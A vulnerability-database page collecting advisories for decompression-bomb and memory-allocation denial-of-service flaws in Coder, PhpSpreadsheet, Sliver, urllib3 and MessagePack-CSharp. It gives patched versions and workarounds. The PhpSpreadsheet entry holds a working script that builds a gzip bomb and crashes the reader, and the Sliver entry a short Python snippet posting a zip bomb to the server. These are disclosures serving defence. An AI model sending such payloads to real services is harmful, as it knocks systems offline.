Vulnerability-Lookup

GHSA-2MG2-P7R7-G27F

Vulnerability from github – Published: 2026-07-06 21:06 – Updated: 2026-07-06 21:06

Summary

Coder: Zip upload decompression lacks aggregate size limit, enabling denial of service

Details

Summary

POST /api/v2/files converts zip uploads to tar in memory via CreateTarFromZip, which enforced a per-entry size limit but no aggregate limit on total decompressed output, writing to an unbounded in-memory buffer.

Note: Exploitation requires authenticated file-upload access and the impact is limited to availability (denial of service).

Impact

An authenticated user could upload a zip within the 100 MiB upload limit but containing many highly compressible entries whose decompressed size exhausted memory, crashing coderd before any RBAC check. Repeated requests could keep the service unavailable. This is a denial of service; it does not allow data disclosure or code execution.

Patches

The fix adds a metadata preflight check that sums projected entry sizes and a streaming writer that enforces the aggregate limit during decompression.

The fix was backported to all supported release lines:

Release line	Patched version
2.34	v2.34.2
2.33	v2.33.8
2.32	v2.32.7
2.29 (ESR)	v2.29.17

Workarounds

Restrict file-upload permissions to trusted users or place a reverse proxy with request-body size limits in front of coderd.

Resources

Fix: #25877

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22438) for independently disclosing this issue!

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.34.0"
            },
            {
              "fixed": "2.34.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.33.0"
            },
            {
              "fixed": "2.33.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.30.0"
            },
            {
              "fixed": "2.32.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.17.0"
            },
            {
              "fixed": "2.29.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T21:06:45Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`POST /api/v2/files` converts zip uploads to tar in memory via `CreateTarFromZip`, which enforced a per-entry size limit but no aggregate limit on total decompressed output, writing to an unbounded in-memory buffer.\n\n\u003e **Note:** Exploitation requires authenticated file-upload access and the impact is limited to availability (denial of service).\n\n### Impact\n\nAn authenticated user could upload a zip within the 100 MiB upload limit but containing many highly compressible entries whose decompressed size exhausted memory, crashing `coderd` before any RBAC check. Repeated requests could keep the service unavailable. This is a denial of service; it does not allow data disclosure or code execution.\n\n### Patches\n\nThe fix adds a metadata preflight check that sums projected entry sizes and a streaming writer that enforces the aggregate limit during decompression.\n\nThe fix was backported to all supported release lines:\n\n| Release line | Patched version |\n|---|---|\n| 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) |\n| 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) |\n| 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) |\n| 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) |\n\n### Workarounds\n\nRestrict file-upload permissions to trusted users or place a reverse proxy with request-body size limits in front of `coderd`.\n\n### Resources\n\n- Fix: #25877\n\n### Credits\n\nCoder would like to thank Anthropic\u0027s Security Team (ANT-2026-22438) for independently disclosing this issue!",
  "id": "GHSA-2mg2-p7r7-g27f",
  "modified": "2026-07-06T21:06:45Z",
  "published": "2026-07-06T21:06:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/security/advisories/GHSA-2mg2-p7r7-g27f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/pull/25877"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/coder"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coder: Zip upload decompression lacks aggregate size limit, enabling denial of service"
}

GHSA-2MRG-GJXQ-2GVR

Vulnerability from github – Published: 2026-07-23 15:00 – Updated: 2026-07-23 15:00

Summary

PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion

Details

Summary

PhpSpreadsheet's Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed.

This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.

Vulnerability details

Gnumeric::canRead() invokes gzfileGetContents() before deciding whether the file is a valid Gnumeric spreadsheet:

src/PhpSpreadsheet/Reader/Gnumeric.php:80-90 calls $this->gzfileGetContents($filename) from canRead().
src/PhpSpreadsheet/Reader/Gnumeric.php:105-115 calls canRead() and then reads the expanded contents again for worksheet-name listing.
src/PhpSpreadsheet/Reader/Gnumeric.php:253-265 calls canRead() and then reads the expanded contents again for full loading.

The vulnerable expansion is in gzfileGetContents():

src/PhpSpreadsheet/Reader/Gnumeric.php:187-190 reads the entire input file into $contents with file_get_contents().
src/PhpSpreadsheet/Reader/Gnumeric.php:192-197 detects gzip magic bytes and calls gzdecode($contents) without a decompressed-size cap.
src/PhpSpreadsheet/Reader/Gnumeric.php:204-205 scans the expanded data only after decompression has already completed.

Because decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.

Impact

A small .gnumeric upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.

In the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes Gnumeric::canRead() under memory_limit=64M at Reader/Gnumeric.php:195.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the compressed payload inside the container and does not contact external infrastructure.

docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$prefix = "<?xml version=\"1.0\"?><gnm:Workbook xmlns:gnm=\"http://www.gnumeric.org/v10.dtd\">";
$suffix = "</gnm:Workbook>";
$payload = $prefix . str_repeat("A", 96 * 1024 * 1024) . $suffix;
$gz = gzencode($payload, 9);
file_put_contents("/tmp/bomb.gnumeric", $gz);
printf("compressed_size=%d expanded_size=%d\n", filesize("/tmp/bomb.gnumeric"), strlen($payload));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric();
var_dump($r->canRead("/tmp/bomb.gnumeric"));
' 2>&1 || true
SH

Observed output:

compressed_size=97811 expanded_size=100663390
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->canRead($filename = '/tmp/bomb.gnumeric') Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->gzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84
PHP   4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195

Suggested remediation

Do not decompress gzip data with unbounded gzdecode() for untrusted .gnumeric files.
Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.
Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.
Ensure canRead(), listWorksheetNames(), listWorksheetInfo(), and load() share bounded decompression logic and avoid decompressing the same file repeatedly.
Fail closed with a recoverable Reader\Exception when limits are exceeded, rather than allowing a PHP fatal memory error.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59932"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-23T15:00:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPhpSpreadsheet\u0027s Gnumeric reader reads attacker-supplied `.gnumeric` files into memory and, when the file starts with gzip magic bytes, calls `gzdecode()` on the full compressed contents without enforcing a decompressed-size limit. A very small compressed `.gnumeric` file can expand to data larger than the PHP memory limit and crash the process during `Gnumeric::canRead()` before the file is rejected or fully parsed.\n\nThis is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.\n\n## Vulnerability details\n\n`Gnumeric::canRead()` invokes `gzfileGetContents()` before deciding whether the file is a valid Gnumeric spreadsheet:\n\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:80-90` calls `$this-\u003egzfileGetContents($filename)` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:105-115` calls `canRead()` and then reads the expanded contents again for worksheet-name listing.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:253-265` calls `canRead()` and then reads the expanded contents again for full loading.\n\nThe vulnerable expansion is in `gzfileGetContents()`:\n\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:187-190` reads the entire input file into `$contents` with `file_get_contents()`.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:192-197` detects gzip magic bytes and calls `gzdecode($contents)` without a decompressed-size cap.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:204-205` scans the expanded data only after decompression has already completed.\n\nBecause decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.\n\n## Impact\n\nA small `.gnumeric` upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.\n\nIn the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes `Gnumeric::canRead()` under `memory_limit=64M` at `Reader/Gnumeric.php:195`.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the compressed payload inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh \u003c\u003c\u0027SH\u0027\nset -eu\nphp -r \u0027\n$prefix = \"\u003c?xml version=\\\"1.0\\\"?\u003e\u003cgnm:Workbook xmlns:gnm=\\\"http://www.gnumeric.org/v10.dtd\\\"\u003e\";\n$suffix = \"\u003c/gnm:Workbook\u003e\";\n$payload = $prefix . str_repeat(\"A\", 96 * 1024 * 1024) . $suffix;\n$gz = gzencode($payload, 9);\nfile_put_contents(\"/tmp/bomb.gnumeric\", $gz);\nprintf(\"compressed_size=%d expanded_size=%d\\n\", filesize(\"/tmp/bomb.gnumeric\"), strlen($payload));\n\u0027\nphp -d memory_limit=64M -d display_errors=1 -r \u0027\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric();\nvar_dump($r-\u003ecanRead(\"/tmp/bomb.gnumeric\"));\n\u0027 2\u003e\u00261 || true\nSH\n```\n\nObserved output:\n\n```text\ncompressed_size=97811 expanded_size=100663390\nPHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195\nPHP Stack trace:\nPHP   1. {main}() Command line code:0\nPHP   2. PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric-\u003ecanRead($filename = \u0027/tmp/bomb.gnumeric\u0027) Command line code:4\nPHP   3. PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric-\u003egzfileGetContents($filename = \u0027/tmp/bomb.gnumeric\u0027) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84\nPHP   4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195\n```\n\n## Suggested remediation\n\n- Do not decompress gzip data with unbounded `gzdecode()` for untrusted `.gnumeric` files.\n- Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.\n- Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.\n- Ensure `canRead()`, `listWorksheetNames()`, `listWorksheetInfo()`, and `load()` share bounded decompression logic and avoid decompressing the same file repeatedly.\n- Fail closed with a recoverable `Reader\\Exception` when limits are exceeded, rather than allowing a PHP fatal memory error.",
  "id": "GHSA-2mrg-gjxq-2gvr",
  "modified": "2026-07-23T15:00:17Z",
  "published": "2026-07-23T15:00:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-2mrg-gjxq-2gvr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion"
}

GHSA-2PHG-QGMM-R638

Vulnerability from github – Published: 2026-02-25 17:36 – Updated: 2026-02-27 21:46

Summary

Sliver has Potential Zip Bomb Denial of Service in GzipEncoder

Details

Summary

GzipEncoder does not limit output size when processing compressed data. This allows unauthenticated remote attackers to crash sliver server by sending a http request with highly compressed gzip data (aka zip bomb).

Details

In util/encoders/gzip.go, Decode() method decompresses given data by reading the entire gzip buffer at once without limiting output size.

PoC

data = gzip.compress(bytes(1024 * 1024 * 1024)) * 16
requests.post(f"http://172.17.0.2/{nonce}", data=data)

Impact

Unauthenticated remote attackers can exhaust memory and cpu resource of sliver server and crash it when they have GzipEncoderID, which can be easily retrived from implant's http traffic, or by brute-forcing.

A fixed version is available at https://github.com/BishopFox/sliver/releases/tag/v1.7.2.

Severity

7.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/bishopfox/sliver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T17:36:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nGzipEncoder does not limit output size when processing compressed data. This allows unauthenticated remote attackers to crash sliver server by sending a http request with highly compressed gzip data (aka zip bomb).\n\n### Details\n\nIn `util/encoders/gzip.go`, `Decode()` method decompresses given data by reading the entire gzip buffer at once without limiting output size.\n\n### PoC\n\n```python\ndata = gzip.compress(bytes(1024 * 1024 * 1024)) * 16\nrequests.post(f\"http://172.17.0.2/{nonce}\", data=data)\n```\n\n### Impact\n\nUnauthenticated remote attackers can exhaust memory and cpu resource of sliver server and crash it when they have GzipEncoderID, which can be easily retrived from implant\u0027s http traffic, or by brute-forcing.\n\nA fixed version is available at https://github.com/BishopFox/sliver/releases/tag/v1.7.2.",
  "id": "GHSA-2phg-qgmm-r638",
  "modified": "2026-02-27T21:46:08Z",
  "published": "2026-02-25T17:36:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-2phg-qgmm-r638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/commit/0cf5a47cfdf94b6ab481ec3ea0db09f31654c0f0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BishopFox/sliver"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/releases/tag/v1.7.2"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4548"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sliver has Potential Zip Bomb Denial of Service in GzipEncoder"
}

GHSA-2XPW-W6GG-JR37

Vulnerability from github – Published: 2025-12-05 18:15 – Updated: 2025-12-05 18:33

Summary

urllib3 streaming API improperly handles highly compressed data

Details

Impact

urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

Affected usages

Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

Remediation

Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

Credits

The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

Severity

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "urllib3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-05T18:15:54Z",
    "nvd_published_at": "2025-12-05T17:16:04Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nurllib3\u0027s [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).",
  "id": "GHSA-2xpw-w6gg-jr37",
  "modified": "2025-12-05T18:33:07Z",
  "published": "2025-12-05T18:15:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66471"
    },
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/urllib3/urllib3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "urllib3 streaming API improperly handles highly compressed data"
}

GHSA-382J-8MXH-C7X2

Vulnerability from github – Published: 2026-06-25 18:35 – Updated: 2026-06-25 18:35

Summary

MessagePack-CSharp: Denial of service vulnerabilities can swamp the CPU or crash the process with stack and heap overflows

Details

Summary

MessagePackReader.ReadDateTime() can allocate stack memory based on an attacker-controlled MessagePack extension length. In the slow path for timestamp extension parsing, the computed tokenSize includes the extension body length from the wire and is used in a stackalloc operation before the extension length is validated as one of the valid timestamp sizes.

A very small payload can claim a large timestamp extension body and cause a stack allocation large enough to trigger an uncatchable StackOverflowException, terminating the host process.

Impact

Applications are affected when they deserialize untrusted payloads into types containing DateTime values. This path is available through the standard formatter set and does not require opting into typeless serialization, LZ4 compression, Unity-specific resolvers, or other specialized features.

MessagePackSecurity.UntrustedData and MaximumObjectGraphDepth do not mitigate this issue because the crash is caused by a single-frame stack allocation, not by object graph recursion.

An attacker can send a MessagePack timestamp extension header with an oversized body length and insufficient body bytes. The reader enters the slow path, attempts to stack-allocate a buffer sized from that declared length, and can terminate the process before a catchable serialization exception is thrown.

Affected components

Package: MessagePack
API: MessagePackReader.ReadDateTime
Data types: DateTime and formatter paths that call ReadDateTime
Finding IDs: MESSAGEPACKCSHARP-020, related stack allocation finding MESSAGEPACKCSHARP-CROW-MEM-001

Patches

Fixes are prepared and will be released in coordinated patch versions.

Upgrade guidance:

Upgrade MessagePack to the patched version for your release line.
Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.

The fix should validate timestamp extension lengths before any stack allocation. Valid MessagePack timestamp payload lengths are limited to the supported timestamp encodings, so oversized extension lengths should fail with a catchable MessagePack serialization exception before the slow path allocates a buffer.

Workarounds

Patching is recommended.

Until a patched version is available, avoid deserializing untrusted MessagePack payloads into schemas that contain DateTime or DateTimeOffset values. Where possible, enforce strict maximum message sizes and reject malformed extension payloads before they reach MessagePack-CSharp.

There is no complete workaround for applications that must deserialize attacker-controlled MessagePack data containing date/time fields with affected versions.

Resources

MESSAGEPACKCSHARP-020: ReadDateTime stack allocation from attacker-controlled extension length
MESSAGEPACKCSHARP-CROW-MEM-001: related attacker-controlled stack allocation finding in MessagePackReader
CWE-770: Allocation of Resources Without Limits or Throttling

CVE split rationale

This vulnerability is independently fixable in the DateTime extension parsing path by validating extension lengths before stack allocation. It is separate from recursive stack overflows, LZ4 issues, and collection allocation bugs.

Severity

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-125",
      "CWE-190",
      "CWE-407",
      "CWE-409",
      "CWE-470",
      "CWE-502",
      "CWE-674",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T18:35:48Z",
    "nvd_published_at": "2026-06-22T22:16:47Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`MessagePackReader.ReadDateTime()` can allocate stack memory based on an attacker-controlled MessagePack extension length. In the slow path for timestamp extension parsing, the computed `tokenSize` includes the extension body length from the wire and is used in a `stackalloc` operation before the extension length is validated as one of the valid timestamp sizes.\n\nA very small payload can claim a large timestamp extension body and cause a stack allocation large enough to trigger an uncatchable `StackOverflowException`, terminating the host process.\n\n## Impact\n\nApplications are affected when they deserialize untrusted payloads into types containing `DateTime` values. This path is available through the standard formatter set and does not require opting into typeless serialization, LZ4 compression, Unity-specific resolvers, or other specialized features.\n\n`MessagePackSecurity.UntrustedData` and `MaximumObjectGraphDepth` do not mitigate this issue because the crash is caused by a single-frame stack allocation, not by object graph recursion.\n\nAn attacker can send a MessagePack timestamp extension header with an oversized body length and insufficient body bytes. The reader enters the slow path, attempts to stack-allocate a buffer sized from that declared length, and can terminate the process before a catchable serialization exception is thrown.\n\n## Affected components\n\n- Package: `MessagePack`\n- API: `MessagePackReader.ReadDateTime`\n- Data types: `DateTime` and formatter paths that call `ReadDateTime`\n- Finding IDs: `MESSAGEPACKCSHARP-020`, related stack allocation finding `MESSAGEPACKCSHARP-CROW-MEM-001`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should validate timestamp extension lengths before any stack allocation. Valid MessagePack timestamp payload lengths are limited to the supported timestamp encodings, so oversized extension lengths should fail with a catchable MessagePack serialization exception before the slow path allocates a buffer.\n\n## Workarounds\n\nPatching is recommended.\n\nUntil a patched version is available, avoid deserializing untrusted MessagePack payloads into schemas that contain `DateTime` or `DateTimeOffset` values. Where possible, enforce strict maximum message sizes and reject malformed extension payloads before they reach MessagePack-CSharp.\n\nThere is no complete workaround for applications that must deserialize attacker-controlled MessagePack data containing date/time fields with affected versions.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-020`: `ReadDateTime` stack allocation from attacker-controlled extension length\n- `MESSAGEPACKCSHARP-CROW-MEM-001`: related attacker-controlled stack allocation finding in `MessagePackReader`\n- CWE-770: Allocation of Resources Without Limits or Throttling\n\n## CVE split rationale\n\nThis vulnerability is independently fixable in the DateTime extension parsing path by validating extension lengths before stack allocation. It is separate from recursive stack overflows, LZ4 issues, and collection 